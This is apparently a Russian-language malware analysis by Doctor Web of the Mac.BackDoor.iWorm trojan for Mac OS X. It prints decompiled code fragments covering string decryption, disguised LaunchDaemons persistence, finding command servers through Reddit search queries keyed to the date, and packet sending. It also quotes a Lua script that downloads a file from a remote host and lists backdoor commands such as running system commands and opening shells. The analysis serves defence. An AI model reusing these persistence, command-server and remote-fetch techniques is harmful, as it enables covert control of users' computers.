Логин
Пароль
Неверный логин/пароль
Введите логин, указанный вами при регистрации. Мы вышлем новый пароль.
Ваша учетная запись не найдена
Пароль выслан.

Mac.BackDoor.iWorm — подробности об угрозе

30 сентября 2014, 14:49

Специалисты компании «Доктор Веб» исследовали сложную троянскую программу Mac.BackDoor.iWorm, угрожающую компьютерам, работающим под управлением операционной системы Mac OS X. По данным на 29 сентября 2014 года в бот-сети, созданной злоумышленниками с использованием этого троянца, насчитывалось 18 519 уникальных IP-адресов инфицированных компьютеров.

Бэкдор распаковывается в папку /Library/Application Support/JavaW. С помощью специально сформированного файла plist он устанавливается в автозагрузку через /Library/LaunchDaemons/ под видом приложения com.JavaW.

В процессе своей работы Mac.BackDoor.iWorm активно использует криптографию. После запуска троянец инициализирует контекст (который будет использован далее для криптографии) и по нулевому смещению записывает два байта, которые являются ключом для последующей дешифровки строк. Строки дешифруются с использованием следующего алгоритма:

void DecryptStrings(unsigned __int8* Data, size_t size)
{
    for(int i = 0; i < size; i++)
    {
        if (Data[i])
        {
            Data[i] -= 'Z';
            Data[i] ^= 'M';
        }
    }
}

Затем троянец пытается получить содержимое директории /Library: в случае успеха он перебирает все вложенные папки и считает для их имен значения MD5. Полученные значения MD5 нужны для обнаружения установленного ПО, с которыми бэкдор не будет в дальнейшем взаимодействовать. Обнаружение происходит следующим образом:

find_banned_dir:
  challenge[5] = 0;
  challenge[4] = 0;
  challenge[0] = 0x67452301;
  challenge[1] = 0xEFCDAB89;
  challenge[2] = 0x98BADCFE;
  challenge[3] = 0x10325476;
  szDir = (const char *)&dir-&qt;d_seekoff;
  szDir_len = strlen(szDir);
  MD5_Update(szDir, challenge, szDir_len);
  MD5_Final((char *)&MD5OfDir, challenge);
  z = 0;
  do
  {
    if ( z &qt; 2 )
    {
      dir = readdir(hLib);
      if ( !dir )
        goto banned_dir_not_found;
      goto find_banned_dir;
    }
    BannedFoldersMD5 = pBannedFoldersMD5[z++];
  }
  while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );

Если «нежелательные» директории обнаружить не удается, бот последовательно вызывает функции getuid и gepwuid для получения имени папки пользователя, под учетной записью которого он был запущен, и проверяет наличие в ней конфигурационного файла %pw_dir%/.JavaW, который создается при первом запуске бэкдора. Также при первом запуске генерируется номер порта (при последующих запусках троянец получает порт из конфигурационного файла):

r1 = TwisterGenRnd();;  //получение случайного числа
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);

Затем из полученного значения порта формируется структура backdoor_param, которая после шифрования будет записана в конфигурационный файл. Каждая запись в конфигурационном файле имеет следующий вид:

struct backdoor_param
{
    char szParam[];
    char szValue[];
};

Сформированная из значений %param_name% и %param_value% структура шифруется с использованием алгоритма AES-256. Зашифрованная структура записывается в конфигурационный файл. Далее бэкдор запускает три потока со следующим функциональным назначением:

  • открывает порт и ждет входящего соединения;
  • делает запрос к сайту и получает адреса управляющих серверов;
  • устанавливает соединение с управляющими серверами и получает от них команды.

Для получения адресов управляющих серверов Mac.BackDoor.iWorm определяет текущую дату и вычисляет ее значение в днях по формуле:

time_t timee;
struct tm *tm;
 
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;

От полученного значения троянец вычисляет хэш-функцию MD5 и отправляет на сайт reddit.com поисковый запрос следующего вида:

https://www.reddit.com/search?q=<MD5_hash_first8>

где MD5_hash_first8 — значения первых 8 байт хэш-функции MD5 от текущей даты. По результатам поиска reddit.com отдает веб-страницу со списком управляющих серверов ботнета и портов, которые злоумышленники публикуют в виде комментариев к теме minecraftserverlists от имени пользователя vtnhiaovyd. Получение списка управляющих адресов повторяется с интервалом в 5 минут.

Для своей дальнейшей работы троянец выбирает управляющий сервер по следующему алгоритму:

rnd = TwisterGenRnd(); //получение случайного числа
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));

Фактически, бот пытается установить соединение с командными серверами, перебирая в случайном порядке первые 29 адресов из полученного списка и отправляя запросы на каждый из них. После установки соединения Mac.BackDoor.iWorm проверяет, не находится ли данный сайт в списке исключений:

i = 0;
while ( 1 )
{
  pthread_mutex_lock(&pMutex_0);
  BanListSize = (pBanListEnd - pBanListBeg) >> 2;
  pthread_mutex_unlock(&pMutex_0);
  if ( i >= BanListSize )
    break;
  pszBannedIP = GetAddressByIndex(pCBanList, i++);
  if ( CompareAddresses(pszBannedIP, szIP) ) 
  {
    pthread_mutex_unlock(&pMutex_0);
    shutdown(this->socket, SHUT_WR);
    goto func_exit;
  }
}

Установив соединение с управляющим сервером, бэкдор обменивается с ним специальным набором данных, по которым с использованием ряда сложных математических преобразований проверяется подлинность удаленного узла. Если проверка прошла успешно, бот отправляет на удаленный сервер номер открытого на инфицированном компьютере порта и свой уникальный идентификатор, ожидая в ответ поступления управляющих команд. Отправляемые данные шифруются по алгоритму AES-256 и передаются пакетами следующим способом:

void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
    WORD ps = 0;
    SendData(&packet_signature, pNode->pCSocket, 1u);
    ps = BYTE(packet_size) << 8;
    SendData((char *)&ps, pNode_->pCSocket, 2u);
    SendData(pPacketData, pNode_->pCSocket, packet_size);
}

Для обработки поступающих от управляющего сервера команд в бэкдоре реализована поддержка Lua. В зависимости от типа полученных данных бот может выполнять либо отдельные команды, либо Lua-скрипты. Пример такого Lua-скрипта представлен ниже:

if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
set("d", "3");

Набор базовых команд бэкдора для Lua-скриптов позволяет выполнять следующие операции:

  • получение типа ОС;
  • получение версии бота;
  • получение UID бота;
  • получение значения параметра из конфигурационного файла;
  • установка значения параметра в конфигурационном файле;
  • очистка конфигурационных данных от всех параметров;
  • получение времени работы бота (uptime);
  • отправка GET-запроса;
  • скачивание файла;
  • открытие сокета для входящего соединения с последующим выполнением приходящих команд;
  • выполнение системной команды;
  • выполнение паузы (sleep);
  • добавление нода по IP в список «забаненных» узлов;
  • очистка списка «забаненных» нодов;
  • получение списка нодов;
  • получение IP-адреса нода;
  • получение типа нода;
  • получение порта нода;
  • выполнение вложенного Lua-скрипта.

На текущий момент можно говорить о наличии следующих функций (не считая функционал Lua-скриптов):

  • отправка UID;
  • отправка номера открытого порта;
  • добавление в свой список нодов новых ботов (как подключившихся, так и пришедших в команде);
  • ретрансляция трафика (принимаемые данные по одному сокету без изменений передаются на другой);
  • подключение к хосту, указанному в пришедшей команде;
  • выполнение Lua-скриптов.

Источники

drweb.com